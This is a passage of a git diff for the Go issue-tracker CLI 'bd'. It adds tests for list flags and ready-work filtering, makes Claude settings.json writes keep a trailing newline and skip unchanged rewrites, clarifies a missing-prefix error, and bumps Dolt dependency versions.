+func TestListRegistersIncludeEphemeral(t *testing.T) { + if listCmd.Flags().Lookup("include-ephemeral") == nil { + t.Fatal("bd list must register --include-ephemeral: it is the only narrow way to admit the wisp plane, and --wisp-type's error message tells callers to use it") + } +} + +// TestGatherListInput_WispTypeWithoutAPlaneIsRefused covers the request that +// cannot match a row for ANY input: wisp_type narrows whatever the rest of the +// request admitted, and a default listing admits only durable rows, which +// carry no classification. +// +// The API layer keeps composing this to an empty page — that is its pinned +// contract, and this does not touch it. The refusal is here, where the only +// thing a human can have meant is the combination that returns rows. +func TestGatherListInput_WispTypeWithoutAPlaneIsRefused(t *testing.T) { + defer func(prev bool) { jsonOutput = prev }(jsonOutput) + jsonOutput = false + + cmd := newWispTypeInputCmd() + if err := cmd.Flags().Set("wisp-type", "heartbeat"); err != nil { + t.Fatalf("set wisp-type: %v", err) + } + var err error + stderr := captureStderr(t, func() { _, err = gatherListInput(cmd) }) + if err == nil { + t.Fatal("--wisp-type with no plane knob cannot match any row and must be refused, got nil error") + } + // The message has to carry the way out, or it is just a different silence. + if !strings.Contains(stderr, "--include-ephemeral") { + t.Errorf("the refusal must name the flag that makes the request answerable; got:\n%s", stderr) + } +} + +// TestGatherListInput_WispTypeWithAPlaneIsAccepted is the discriminating half: +// a guard that refused everything would pass the test above on its own. Each +// case here admits the plane by a different route, and all must survive. +func TestGatherListInput_WispTypeWithAPlaneIsAccepted(t *testing.T) { + defer func(prev bool) { jsonOutput = prev }(jsonOutput) + jsonOutput = false + + for _, tc := range []struct { + name string + flag string + val string + }{ + {"the narrow plane knob", "include-ephemeral", "true"}, + {"the wider bundle that also admits it", "include-infra", "true"}, + // An explicit type is left alone: an infra type routes to the plane by + // itself, and this layer cannot tell which types those are without the + // workspace's infra vocabulary. Refusing here would reject a lawful, + // answerable request. + {"an explicit type, which may itself be infra", "type", "agent"}, + } { + t.Run(tc.name, func(t *testing.T) { + cmd := newWispTypeInputCmd() + if err := cmd.Flags().Set("wisp-type", "heartbeat"); err != nil { + t.Fatalf("set wisp-type: %v", err) + } + if err := cmd.Flags().Set(tc.flag, tc.val); err != nil { + t.Fatalf("set %s: %v", tc.flag, err) + } + in, err := gatherListInput(cmd) + if err != nil { + t.Fatalf("--wisp-type with --%s must be accepted, got: %v", tc.flag, err) + } + if in.WispType == nil || string(*in.WispType) != "heartbeat" { + t.Errorf("WispType must survive onto the request, got %v", in.WispType) + } + }) + } +} + +// TestGatherListInput_IncludeEphemeralReachesTheRequest confirms the new flag +// is wired through rather than merely registered — a flag that parses but is +// never read would leave the plane just as unreachable. +func TestGatherListInput_IncludeEphemeralReachesTheRequest(t *testing.T) { + defer func(prev bool) { jsonOutput = prev }(jsonOutput) + jsonOutput = false + + cmd := newWispTypeInputCmd() + if err := cmd.Flags().Set("include-ephemeral", "true"); err != nil { + t.Fatalf("set include-ephemeral: %v", err) + } + in, err := gatherListInput(cmd) + if err != nil { + t.Fatalf("gatherListInput: %v", err) + } + if !in.IncludeEphemeral { + t.Error("--include-ephemeral must set ListRequest.IncludeEphemeral, got false") + } + + // And the default stays off, so the durable-only listing is unchanged. + bare, err := gatherListInput(newWispTypeInputCmd()) + if err != nil { + t.Fatalf("gatherListInput (bare): %v", err) + } + if bare.IncludeEphemeral { + t.Error("IncludeEphemeral must default to false; the default listing is durable-only") + } +} diff --git a/cmd/bd/markdown_test.go b/cmd/bd/markdown_test.go index 1dca3462e..e91ef89d7 100644 --- a/cmd/bd/markdown_test.go +++ b/cmd/bd/markdown_test.go @@ -154,6 +154,38 @@ Just a title and description. }, }, }, + { + name: "GH-4643 H2-per-section briefing file parses as three issues", + content: `## Problem +Something is broken. + +## Context +Extra background. + +## Acceptance Criteria +It should work. +`, + expected: []*IssueTemplate{ + { + Title: "Problem", + Description: "Something is broken.", + Priority: 2, + IssueType: "task", + }, + { + Title: "Context", + Description: "Extra background.", + Priority: 2, + IssueType: "task", + }, + { + Title: "Acceptance Criteria", + Description: "It should work.", + Priority: 2, + IssueType: "task", + }, + }, + }, } for _, tt := range tests { diff --git a/cmd/bd/setup/claude.go b/cmd/bd/setup/claude.go index dac9cdd6e..fb10326d4 100644 --- a/cmd/bd/setup/claude.go +++ b/cmd/bd/setup/claude.go @@ -1,6 +1,7 @@ package setup import ( + "bytes" "encoding/json" "errors" "fmt" @@ -70,6 +71,28 @@ func globalSettingsPath(home string) string { return filepath.Join(home, ".claude", "settings.json") } +// marshalSettings renders a Claude settings map as two-space-indented JSON +// with the trailing newline json.MarshalIndent omits, so the file stays +// POSIX-clean and byte-stable across runs. +func marshalSettings(settings map[string]interface{}) ([]byte, error) { + data, err := json.MarshalIndent(settings, "", " ") + if err != nil { + return nil, err + } + return append(data, '\n'), nil +} + +// writeSettingsIfChanged writes data to path only when it differs from what is +// already on disk. GH#5693: bd init / bd setup claude marshaled and wrote +// settings.json on every run, so a no-op run still churned the file's mtime +// and — because MarshalIndent emits no trailing newline — silently stripped it. +func writeSettingsIfChanged(env claudeEnv, path string, data []byte) error { + if existing, err := env.readFile(path); err == nil && bytes.Equal(existing, data) { + return nil + } + return env.writeFile(path, data) +} + func claudeAgentsEnv(env claudeEnv) agentsEnv { ae, _ := claudeAgentsEnvRedirect(env) return ae @@ -277,13 +300,13 @@ func installClaude(env claudeEnv, global bool, stealth bool) error { } } - data, err := json.MarshalIndent(settings, "", " ") + data, err := marshalSettings(settings) if err != nil { _, _ = fmt.Fprintf(env.stderr, "Error: marshal settings: %v\n", err) return err } - if err := env.writeFile(settingsPath, data); err != nil { + if err := writeSettingsIfChanged(env, settingsPath, data); err != nil { _, _ = fmt.Fprintf(env.stderr, "Error: write settings: %v\n", err) return err } @@ -300,8 +323,8 @@ func installClaude(env claudeEnv, global bool, stealth bool) error { removeHookCommand(legacyHooks, "SessionStart", v) removeHookCommand(legacyHooks, "PreCompact", v) } - if migrated, marshalErr := json.MarshalIndent(legacySettings, "", " "); marshalErr == nil { - if writeErr := env.writeFile(legacyPath, migrated); writeErr == nil { + if migrated, marshalErr := marshalSettings(legacySettings); marshalErr == nil { + if writeErr := writeSettingsIfChanged(env, legacyPath, migrated); writeErr == nil { _, _ = fmt.Fprintf(env.stdout, "✓ Migrated hooks from %s\n", legacyPath) } } @@ -473,13 +496,13 @@ func removeClaude(env claudeEnv, global bool) error { removeHookCommand(hooks, "PreCompact", v) } - data, err = json.MarshalIndent(settings, "", " ") + data, err = marshalSettings(settings) if err != nil { _, _ = fmt.Fprintf(env.stderr, "Error: marshal settings: %v\n", err) return err } - if err := env.writeFile(settingsPath, data); err != nil { + if err := writeSettingsIfChanged(env, settingsPath, data); err != nil { _, _ = fmt.Fprintf(env.stderr, "Error: write settings: %v\n", err) return err } @@ -497,8 +520,8 @@ func removeClaude(env claudeEnv, global bool) error { removeHookCommand(legacyHooks, "SessionStart", v) removeHookCommand(legacyHooks, "PreCompact", v) } - if migrated, marshalErr := json.MarshalIndent(legacySettings, "", " "); marshalErr == nil { - _ = env.writeFile(legacyPath, migrated) + if migrated, marshalErr := marshalSettings(legacySettings); marshalErr == nil { + _ = writeSettingsIfChanged(env, legacyPath, migrated) } } } diff --git a/cmd/bd/setup/claude_test.go b/cmd/bd/setup/claude_test.go index 131919a84..4d1e178e1 100644 --- a/cmd/bd/setup/claude_test.go +++ b/cmd/bd/setup/claude_test.go @@ -1655,3 +1655,207 @@ func TestRemoveClaudeRedirectCleansStaleClaudeBlock(t *testing.T) { t.Fatalf("AGENTS.md should still contain its beads block after remove:\n%s", agentsData) } } + +// countingClaudeEnv wraps env.writeFile with a per-path write counter so tests +// can assert that an unchanged settings file is not rewritten. +func countingClaudeEnv(env claudeEnv, counts map[string]int) claudeEnv { + inner := env.writeFile + env.writeFile = func(path string, data []byte) error { + counts[path]++ + return inner(path, data) + } + return env +} + +func assertTrailingNewline(t *testing.T, path string) { + t.Helper() + data, err := os.ReadFile(path) + if err != nil { + t.Fatalf("read %s: %v", path, err) + } + if len(data) == 0 || data[len(data)-1] != '\n' { + t.Errorf("%s should end with a trailing newline, got %q", path, tailOf(data)) + } +} + +func tailOf(data []byte) string { + if len(data) > 24 { + return string(data[len(data)-24:]) + } + return string(data) +} + +// GH#5693: bd setup claude must leave settings.json POSIX-clean (trailing +// newline) instead of stripping the newline json.MarshalIndent omits. +func TestInstallClaudeSettingsEndsWithTrailingNewline(t *testing.T) { + t.Run("project", func(t *testing.T) { + env, _, _ := newClaudeTestEnv(t) + if err := installClaude(env, false, false); err != nil { + t.Fatalf("installClaude: %v", err) + } + assertTrailingNewline(t, projectSettingsPath(env.projectDir)) + }) + t.Run("global", func(t *testing.T) { + env, _, _ := newClaudeTestEnv(t) + if err := installClaude(env, true, false); err != nil { + t.Fatalf("installClaude: %v", err) + } + assertTrailingNewline(t, globalSettingsPath(env.homeDir)) + }) +} + +// GH#5693: a second bd setup claude with nothing to change must not rewrite +// settings.json. +func TestInstallClaudeSkipsRewriteWhenSettingsUnchanged(t *testing.T) { + env, _, _ := newClaudeTestEnv(t) + counts := map[string]int{} + env = countingClaudeEnv(env, counts) + settingsPath := projectSettingsPath(env.projectDir) + + if err := installClaude(env, false, false); err != nil { + t.Fatalf("first installClaude: %v", err) + } + if counts[settingsPath] != 1 { + t.Fatalf("first install should write settings once, got %d", counts[settingsPath]) + } + before, err := os.ReadFile(settingsPath) + if err != nil { + t.Fatalf("read settings: %v", err) + } + + if err := installClaude(env, false, false); err != nil { + t.Fatalf("second installClaude: %v", err) + } + if got := counts[settingsPath]; got != 1 { + t.Errorf("second install rewrote unchanged settings: %d total writes, want 1", got) + } + after, err := os.ReadFile(settingsPath) + if err != nil { + t.Fatalf("re-read settings: %v", err) + } + if !bytes.Equal(before, after) { + t.Errorf("second install changed settings content:\nbefore=%q\nafter=%q", before, after) + } +} + +// GH#5693: the same two properties must hold for the removeClaude write path, +// which marshals and writes settings.json through a separate call site. +func TestRemoveClaudeSettingsNewlineAndSkipsUnchangedRewrite(t *testing.T) { + env, _, _ := newClaudeTestEnv(t) + counts := map[string]int{} + env = countingClaudeEnv(env, counts) + settingsPath := projectSettingsPath(env.projectDir) + + if err := installClaude(env, false, false); err != nil { + t.Fatalf("installClaude: %v", err) + } + writesAfterInstall := counts[settingsPath] + + if err := removeClaude(env, false); err != nil { + t.Fatalf("first removeClaude: %v", err) + } + assertTrailingNewline(t, settingsPath) + writesAfterRemove := counts[settingsPath] + if writesAfterRemove != writesAfterInstall+1 { + t.Fatalf("first remove should write settings once, got %d writes (install left %d)", + writesAfterRemove-writesAfterInstall, writesAfterInstall) + } + + if err := removeClaude(env, false); err != nil { + t.Fatalf("second removeClaude: %v", err) + } + if got := counts[settingsPath]; got != writesAfterRemove { + t.Errorf("second remove rewrote unchanged settings: %d writes, want %d", got, writesAfterRemove) + } +} + +// GH#5693: the legacy settings.local.json migration writes are the two other +// marshal-and-write call sites in this file; they strip the newline too. +func TestClaudeLegacySettingsWritesEndWithNewline(t *testing.T) { + legacyWithBeadsHook := func() map[string]interface{} { + return map[string]interface{}{ + "hooks": map[string]interface{}{ + "SessionStart": []interface{}{ + map[string]interface{}{ + "matcher": "", + "hooks": []interface{}{ + map[string]interface{}{"type": "command", "command": "bd prime"}, + }, + }, + }, + }, + } + } + + // The second install writes settings.local.json zero times, but not via + // writeSettingsIfChanged: installClaude's migration block is guarded by + // hasBeadsHooks(legacyPath), which is false once the first install has + // migrated the hooks away, so the block is skipped outright. That guard is + // also why the skip inside writeSettingsIfChanged is unreachable on this + // call site — whenever the guard passes, removeHookCommand strips a hook + // that hasBeadsHooks just matched, so the marshaled bytes always differ. + // What this subtest pins is therefore the user-visible property (a repeat + // bd setup claude leaves settings.local.json alone) plus the newline, not + // the no-op-skip helper. + t.Run("install migration then no further legacy writes", func(t *testing.T) { + env, _, _ := newClaudeTestEnv(t) + counts := map[string]int{} + env = countingClaudeEnv(env, counts) + legacyPath := legacyProjectSettingsPath(env.projectDir) + writeSettings(t, legacyPath, legacyWithBeadsHook()) + + if err := installClaude(env, false, false); err != nil { + t.Fatalf("first installClaude: %v", err) + } + if hasBeadsHooks(legacyPath) { + t.Fatal("legacy beads hooks should have been migrated away") + } + assertTrailingNewline(t, legacyPath) + writesAfterFirst := counts[legacyPath] + if writesAfterFirst != 1 { + t.Fatalf("first install should write legacy settings once, got %d", writesAfterFirst) + } + before, err := os.ReadFile(legacyPath) + if err != nil { + t.Fatalf("read legacy settings: %v", err) + } + + if err := installClaude(env, false, false); err != nil { + t.Fatalf("second installClaude: %v", err) + } + if got := counts[legacyPath]; got != writesAfterFirst { + t.Errorf("second install rewrote migrated legacy settings: %d writes, want %d", got, writesAfterFirst) + } + after, err := os.ReadFile(legacyPath) + if err != nil { + t.Fatalf("re-read legacy settings: %v", err) + } + if !bytes.Equal(before, after) { + t.Errorf("second install changed legacy settings content:\nbefore=%q\nafter=%q", before, after) + } + }) + + t.Run("remove cleanup", func(t *testing.T) { + env, _, _ := newClaudeTestEnv(t) + counts := map[string]int{} + env = countingClaudeEnv(env, counts) + legacyPath := legacyProjectSettingsPath(env.projectDir) + writeSettings(t, legacyPath, legacyWithBeadsHook()) + + if err := removeClaude(env, false); err != nil { + t.Fatalf("first removeClaude: %v", err) + } + assertTrailingNewline(t, legacyPath) + writesAfterFirst := counts[legacyPath] + if writesAfterFirst != 1 { + t.Fatalf("first remove should write legacy settings once, got %d", writesAfterFirst) + } + + if err := removeClaude(env, false); err != nil { + t.Fatalf("second removeClaude: %v", err) + } + if got := counts[legacyPath]; got != writesAfterFirst { + t.Errorf("second remove rewrote unchanged legacy settings: %d writes, want %d", got, writesAfterFirst) + } + }) +} diff --git a/default.nix b/default.nix index cfe3c35bd..5ec1275c6 100644 --- a/default.nix +++ b/default.nix @@ -19,7 +19,12 @@ buildGoModule { # proxyVendor avoids vendor/modules.txt consistency checks when the vendored # tree lags go.mod/go.sum. proxyVendor = true; - vendorHash = "sha256-eakIdTpJcGYHOWNjW5Pq9lllVOm9WzKWYNq5FKSQj8w="; + # Recomputed for this branch: neither release/1.3.0's value nor #5931's is + # right here, because the branch already carried an independent dependency + # bump (d594092eb), so the #5931 cherry-pick lands on a vendor set that + # existed on neither side. Value taken from the `got:` hash the nix-build lane + # reported on this branch. + vendorHash = "sha256-DQdauEx5g48Xbxrz4wGLx4vkrQoYQX3FUx+7N/Y6YV4="; # Match go.mod to the selected Nix Go toolchain. buildGoModule also builds # vendored dependencies in the Nix sandbox, where toolchain downloads are not diff --git a/go.mod b/go.mod index dbe9a93f7..85f9a81ad 100644 --- a/go.mod +++ b/go.mod @@ -146,16 +146,16 @@ require ( github.com/docker/go-connections v0.6.0 // indirect github.com/docker/go-units v0.5.0 // indirect github.com/dolthub/aws-sdk-go-ini-parser v0.0.0-20250305001723-2821c37f6c12 // indirect - github.com/dolthub/dolt/go v0.40.5-0.20260715172757-a6690826d767 - github.com/dolthub/eventsapi_schema v0.0.0-20260310172945-37a9265ade69 // indirect + github.com/dolthub/dolt/go v0.40.5-0.20260806213044-796d07497741 + github.com/dolthub/eventsapi_schema v0.0.0-20260715220557-d9b4a1c6b4d4 // indirect github.com/dolthub/flatbuffers/v23 v23.3.3-dh.2 // indirect github.com/dolthub/fslock v0.0.5 // indirect github.com/dolthub/go-icu-regex v0.0.0-20260610153742-72563bc7ca83 // indirect - github.com/dolthub/go-mysql-server v0.20.1-0.20260713210757-6d01d00bbbf3 + github.com/dolthub/go-mysql-server v0.20.1-0.20260805191915-e5eafe0da809 github.com/dolthub/gozstd v0.0.0-20240423170813-23a2903bca63 // indirect github.com/dolthub/ishell v0.0.0-20260414231531-5f031e3e9037 // indirect github.com/dolthub/jsonpath v0.0.2-0.20240227200619-19675ab05c71 // indirect - github.com/dolthub/vitess v0.0.0-20260624214226-81d034e0fde8 // indirect + github.com/dolthub/vitess v0.0.0-20260728212736-0542037326d7 // indirect github.com/dustin/go-humanize v1.0.1 // indirect github.com/ebitengine/purego v0.10.0 // indirect github.com/edsrzf/mmap-go v1.2.0 // indirect diff --git a/go.sum b/go.sum index d72be7f0a..9196fa792 100644 --- a/go.sum +++ b/go.sum @@ -435,30 +435,30 @@ github.com/dolthub/aws-sdk-go-ini-parser v0.0.0-20250305001723-2821c37f6c12 h1:I github.com/dolthub/aws-sdk-go-ini-parser v0.0.0-20250305001723-2821c37f6c12/go.mod h1:rN7X8BHwkjPcfMQQ2QTAq/xM3leUSGLfb+1Js7Y6TVo= github.com/dolthub/dolt-mcp v0.3.4 h1:AyG5cw+fNWXDHXujtQnqUPZrpWtPg6FN6yYtjv1pP44= github.com/dolthub/dolt-mcp v0.3.4/go.mod h1:bCZ7KHvDYs+M0e+ySgmGiNvLhcwsN7bbf5YCyillLrk= -github.com/dolthub/dolt/go v0.40.5-0.20260715172757-a6690826d767 h1:RSO4YZ5xuZ2EnHv813q2q+QpEqDW1ugjRepPXyDvb7s= -github.com/dolthub/dolt/go v0.40.5-0.20260715172757-a6690826d767/go.mod h1:DXkKITEIpR85Ta86AyjAXYeTULr/tRylidxxy95eraI= +github.com/dolthub/dolt/go v0.40.5-0.20260806213044-796d07497741 h1:z+Disx4RJn0dxaYSzcp8pbiXddi3dpIoUJaMtVa/iBE= +github.com/dolthub/dolt/go v0.40.5-0.20260806213044-796d07497741/go.mod h1:houDkPceGRjDBdaDsfym5OQUB4465mBUnPvSxMOPrPo= github.com/dolthub/driver/v2 v2.2.0 h1:Qm9BhvvKNmeTDF6kZdDkdLe62CF1W6GrCA3ZDRx/tlk= github.com/dolthub/driver/v2 v2.2.0/go.mod h1:Ngki9vM88/sqin1RKfUt/9Ex8DmoePtHgY7d4+YoolU= github.com/dolthub/eventkit v0.0.0-20260611184414-99f5693e696a h1:qNecLF0XIN1BD0RfS/UmlN8ObC3G7bFUJtEyqJeBea4= github.com/dolthub/eventkit v0.0.0-20260611184414-99f5693e696a/go.mod h1:eHUkm69YMO2/v7bzwwYCEkd+3Xu7+KUpP7jFWAbpDlM= -github.com/dolthub/eventsapi_schema v0.0.0-20260310172945-37a9265ade69 h1:JShhbqMw26nKx3pqqu/cFxOpzBkN+4elVhzuUfgDw2k= -github.com/dolthub/eventsapi_schema v0.0.0-20260310172945-37a9265ade69/go.mod h1:SSLraQS/jGLYFgff3vuZ+JbVUct6vyEeMzjLBqWqoyM= +github.com/dolthub/eventsapi_schema v0.0.0-20260715220557-d9b4a1c6b4d4 h1:0mg9QEFdkkBwJMxvz1tCjHYmfG2iIC6aShj1InDq9/M= +github.com/dolthub/eventsapi_schema v0.0.0-20260715220557-d9b4a1c6b4d4/go.mod h1:SSLraQS/jGLYFgff3vuZ+JbVUct6vyEeMzjLBqWqoyM= github.com/dolthub/flatbuffers/v23 v23.3.3-dh.2 h1:u3PMzfF8RkKd3lB9pZ2bfn0qEG+1Gms9599cr0REMww= github.com/dolthub/flatbuffers/v23 v23.3.3-dh.2/go.mod h1:mIEZOHnFx4ZMQeawhw9rhsj+0zwQj7adVsnBX7t+eKY= github.com/dolthub/fslock v0.0.5 h1:QoXhBhgY1oumHE26qyE7tgmXUT8qjJwxsIzo54O/B/k= github.com/dolthub/fslock v0.0.5/go.mod h1:sdofYYqE0D79zNZyB4/kmlnsQOVap1C2yByjGKSirEM= github.com/dolthub/go-icu-regex v0.0.0-20260610153742-72563bc7ca83 h1:FEMjCGEroDnY/BXyAffVZxUpXhP2GpoUJyyq5KaLn8c= github.com/dolthub/go-icu-regex v0.0.0-20260610153742-72563bc7ca83/go.mod h1:F3cnm+vMRK1HaU6+rNqQrOCyR03HHhR1GWG2gnPOqaE= -github.com/dolthub/go-mysql-server v0.20.1-0.20260713210757-6d01d00bbbf3 h1:HdPnbDFCkxyEU1zDHVPcHq8aWFkar3fIz9I9Wz5cC0E= -github.com/dolthub/go-mysql-server v0.20.1-0.20260713210757-6d01d00bbbf3/go.mod h1:AnD2jKQZCf09sM2JhV/cTEtsoEhPNg6pVWjRCBox4Zw= +github.com/dolthub/go-mysql-server v0.20.1-0.20260805191915-e5eafe0da809 h1:c+S3O08LgGS+czU/CuN+/pOKMri5F6kxajoWrTyrE1s= +github.com/dolthub/go-mysql-server v0.20.1-0.20260805191915-e5eafe0da809/go.mod h1:9GLxpglhedopzqBGpW0PGrw7UlwG5kBIOepE2QfTQ1s= github.com/dolthub/gozstd v0.0.0-20240423170813-23a2903bca63 h1:OAsXLAPL4du6tfbBgK0xXHZkOlos63RdKYS3Sgw/dfI= github.com/dolthub/gozstd v0.0.0-20240423170813-23a2903bca63/go.mod h1:lV7lUeuDhH5thVGDCKXbatwKy2KW80L4rMT46n+Y2/Q= github.com/dolthub/ishell v0.0.0-20260414231531-5f031e3e9037 h1:oIW9HwuWrhxv+4HZxA+QQSKHLqWFyXZ2FmNjUYwkdiM= github.com/dolthub/ishell v0.0.0-20260414231531-5f031e3e9037/go.mod h1:ehexgi1mPxRTk0Mok/pADALuHbvATulTh6gzr7NzZto= github.com/dolthub/jsonpath v0.0.2-0.20240227200619-19675ab05c71 h1:bMGS25NWAGTEtT5tOBsCuCrlYnLRKpbJVJkDbrTRhwQ= github.com/dolthub/jsonpath v0.0.2-0.20240227200619-19675ab05c71/go.mod h1:2/2zjLQ/JOOSbbSboojeg+cAwcRV0fDLzIiWch/lhqI= -github.com/dolthub/vitess v0.0.0-20260624214226-81d034e0fde8 h1:zmKLyRCTiNZnizO++sNXP1QW2bxLE2Y+WJAdu/hcu6s= -github.com/dolthub/vitess v0.0.0-20260624214226-81d034e0fde8/go.mod h1:5SVEJgAhw5nnQUFnGgKI1Svqes1Mw+zKUsalyxmOuG0= +github.com/dolthub/vitess v0.0.0-20260728212736-0542037326d7 h1:gvOpHisi0CbG3hixdGulNQdXy3V7+AWxe37kGBgTmRI= +github.com/dolthub/vitess v0.0.0-20260728212736-0542037326d7/go.mod h1:5SVEJgAhw5nnQUFnGgKI1Svqes1Mw+zKUsalyxmOuG0= github.com/dprotaso/go-yit v0.0.0-20191028211022-135eb7262960/go.mod h1:9HQzr9D/0PGwMEbC3d5AB7oi67+h4TsQqItC1GVYG58= github.com/dprotaso/go-yit v0.0.0-20220510233725-9ba8df137936 h1:PRxIJD8XjimM5aTknUK9w6DHLDox2r2M3DI4i2pnd3w= github.com/dprotaso/go-yit v0.0.0-20220510233725-9ba8df137936/go.mod h1:ttYvX5qlB+mlV1okblJqcSMtR4c52UKxDiX9GRBS8+Q= diff --git a/internal/storage/dolt/queries_test.go b/internal/storage/dolt/queries_test.go index 3a87635aa..cb668239c 100644 --- a/internal/storage/dolt/queries_test.go +++ b/internal/storage/dolt/queries_test.go @@ -174,6 +174,68 @@ func TestGetReadyWork_StatusFilter(t *testing.T) { } } +// TestGetReadyWork_CustomActiveCategory pins GH#5831: `bd ready` pins +// StatusOpen, and that pin is the active category — built-in open plus any +// custom status whose category is active. WIP/done/frozen/unspecified +// customs stay out; in_progress stays out. +func TestGetReadyWork_CustomActiveCategory(t *testing.T) { + store, cleanup := setupTestStore(t) + defer cleanup() + + ctx, cancel := testContext(t) + defer cancel() + + if err := store.SetConfig(ctx, "status.custom", "triaged:active,polishing:wip,shipped:done,parked:frozen,legacy"); err != nil { + t.Fatalf("SetConfig status.custom: %v", err) + } + + mk := func(id string, status types.Status) { + t.Helper() + iss := &types.Issue{ + ID: id, + Title: id, + Status: types.StatusOpen, + Priority: 2, + IssueType: types.TypeTask, + } + if err := store.CreateIssue(ctx, iss, "tester"); err != nil { + t.Fatalf("CreateIssue %s: %v", id, err) + } + if status != types.StatusOpen { + if err := store.UpdateIssue(ctx, id, map[string]interface{}{"status": string(status)}, "tester"); err != nil { + t.Fatalf("UpdateIssue %s -> %s: %v", id, status, err) + } + } + } + mk("rw-ca-open", types.StatusOpen) + mk("rw-ca-active", types.Status("triaged")) + mk("rw-ca-wip", types.Status("polishing")) + mk("rw-ca-done", types.Status("shipped")) + mk("rw-ca-frozen", types.Status("parked")) + mk("rw-ca-legacy", types.Status("legacy")) + mk("rw-ca-inprog", types.StatusInProgress) + + work, err := store.GetReadyWork(ctx, types.WorkFilter{Status: types.StatusOpen}) + if err != nil { + t.Fatalf("GetReadyWork: %v", err) + } + got := map[string]bool{} + for _, w := range work { + got[w.ID] = true + } + if !got["rw-ca-open"] { + t.Errorf("built-in open missing from ready set: %v", issueIDs(work)) + } + if !got["rw-ca-active"] { + t.Errorf("custom active-category status missing from ready set: %v", issueIDs(work)) + } + for _, id := range []string{"rw-ca-wip", "rw-ca-done", "rw-ca-frozen", "rw-ca-legacy", "rw-ca-inprog"} { + if got[id] { + t.Errorf("%s should not appear in the StatusOpen ready set: %v", id, issueIDs(work)) + } + } +} + func TestGetReadyWork_PriorityFilter(t *testing.T) { store, cleanup := setupTestStore(t) defer cleanup() diff --git a/internal/storage/issueops/helpers.go b/internal/storage/issueops/helpers.go index 32b3bece9..f305a3658 100644 --- a/internal/storage/issueops/helpers.go +++ b/internal/storage/issueops/helpers.go @@ -524,7 +524,7 @@ func ReadConfigPrefix(ctx context.Context, tx DBTX) (string, error) { underscoreYamlPrefix := strings.TrimSpace(config.GetString("issue_prefix")) debug.Logf("Debug: missing config.issue_prefix in database (err=%v, db value=%q, yaml issue-prefix=%q, yaml issue_prefix=%q)\n", err, configPrefix, yamlPrefix, underscoreYamlPrefix) - return "", fmt.Errorf("%w: issue_prefix config is missing (run 'bd init --prefix ' for a new project, or 'bd bootstrap' to clone an existing remote; if using config.yaml, use key 'issue-prefix', not 'issue_prefix')", storage.ErrNotInitialized) + return "", fmt.Errorf("%w: issue_prefix config is missing (run 'bd init --prefix ' for a new project, or 'bd bootstrap' to clone an existing remote; this check reads the database's config table, so adding 'issue-prefix' to config.yaml does not satisfy it)", storage.ErrNotInitialized) } else if err != nil { return "", fmt.Errorf("failed to get config: %w", err) } diff --git a/internal/storage/issueops/helpers_test.go b/internal/storage/issueops/helpers_test.go index 567e4d8c4..0479106d1 100644 --- a/internal/storage/issueops/helpers_test.go +++ b/internal/storage/issueops/helpers_test.go @@ -7,6 +7,7 @@ import ( "testing" "github.com/DATA-DOG/go-sqlmock" + "github.com/steveyegge/beads/internal/config" "github.com/steveyegge/beads/internal/storage" "github.com/steveyegge/beads/internal/types" ) @@ -289,7 +290,7 @@ func TestReadConfigPrefix(t *testing.T) { } }) - t.Run("missing config row has actionable key naming hint", func(t *testing.T) { + t.Run("missing config row names the commands that initialize the prefix", func(t *testing.T) { t.Parallel() db, mock, err := sqlmock.New() @@ -319,14 +320,58 @@ func TestReadConfigPrefix(t *testing.T) { msg := err.Error() if !containsAll(msg, "issue_prefix config is missing", - "issue-prefix", - "not 'issue_prefix'", + "bd init --prefix", + "bd bootstrap", ) { - t.Fatalf("ReadConfigPrefix error missing key naming guidance: %s", msg) + t.Fatalf("ReadConfigPrefix error missing actionable recovery commands: %s", msg) } }) } +// TestReadConfigPrefixDoesNotRecommendInertYAMLKey pins GH#5916: the message +// used to tell an operator to "use key 'issue-prefix', not 'issue_prefix'" in +// config.yaml, but this gate only ever reads the database's config table. The +// YAML key is SET here and the gate still fails, so the recommendation sent +// operators to commit a tracked field that changes nothing and misleads the +// next reader. +// +// Not parallel: it initializes and mutates the process-global viper config. +// BEADS_TEST_IGNORE_REPO_CONFIG keeps the checkout's own tracked config.yaml +// out of the picture, so only the value injected below is in effect. +func TestReadConfigPrefixDoesNotRecommendInertYAMLKey(t *testing.T) { + t.Setenv("BEADS_TEST_IGNORE_REPO_CONFIG", "1") + if err := config.Initialize(); err != nil { + t.Fatalf("config.Initialize: %v", err) + } + defer config.ResetForTesting() + config.Set("issue-prefix", "skills") + + if got := config.GetString("issue-prefix"); got != "skills" { + t.Fatalf("precondition: config.GetString(issue-prefix) = %q, want %q — the assertions below would be vacuous", got, "skills") + } + + _, mock, tx := beginMockTx(t) + mock.ExpectQuery("SELECT value FROM config WHERE `key` = \\?"). + WithArgs("issue_prefix"). + WillReturnRows(sqlmock.NewRows([]string{"value"})) + + _, err := ReadConfigPrefix(context.Background(), tx) + if err == nil { + t.Fatal("ReadConfigPrefix() returned nil error, want error: the YAML key must not satisfy this gate") + } + if !errors.Is(err, storage.ErrNotInitialized) { + t.Fatalf("ReadConfigPrefix error = %v, want ErrNotInitialized", err) + } + + msg := err.Error() + if strings.Contains(msg, "use key 'issue-prefix'") { + t.Fatalf("ReadConfigPrefix recommends a config.yaml key that does not satisfy it: %s", msg) + } + if !containsAll(msg, "bd init --prefix", "bd bootstrap") { + t.Fatalf("ReadConfigPrefix error missing actionable recovery commands: %s", msg) + } +} + func containsAll(s string, parts ...string) bool { for _, part := range parts { if !strings.Contains(s, part) { diff --git a/internal/storage/issueops/ready_work_test.go b/internal/storage/issueops/ready_work_test.go index 3ae5393c0..552a359b1 100644 --- a/internal/storage/issueops/ready_work_test.go +++ b/internal/storage/issueops/ready_work_test.go @@ -244,6 +244,32 @@ func TestGetChildrenOfDeferredParentsInTx_IgnoresMissingWispDependenciesTable(t } } +func TestGetReadyWorkInTxOpenIncludesCustomActive(t *testing.T) { + t.Parallel() + + _, mock, tx := beginMockTx(t) + mock.ExpectQuery(deferredParentProbeRegex("issues")).WillReturnError(sql.ErrNoRows) + mock.ExpectQuery(deferredParentProbeRegex("wisps")).WillReturnError(sql.ErrNoRows) + mock.ExpectQuery(`SELECT id FROM issues\s+WHERE \(status = \? OR status IN \(SELECT name FROM custom_statuses WHERE category = 'active'\)\)`). + WillReturnRows(sqlmock.NewRows([]string{"id"})) + mock.ExpectQuery(`SELECT 1 FROM wisps LIMIT 1`).WillReturnError(sql.ErrNoRows) + + got, err := GetReadyWorkInTx( + context.Background(), + tx, + types.WorkFilter{Status: types.StatusOpen}, + ) + if err != nil { + t.Fatalf("GetReadyWorkInTx: %v", err) + } + if len(got) != 0 { + t.Fatalf("expected no rows, got 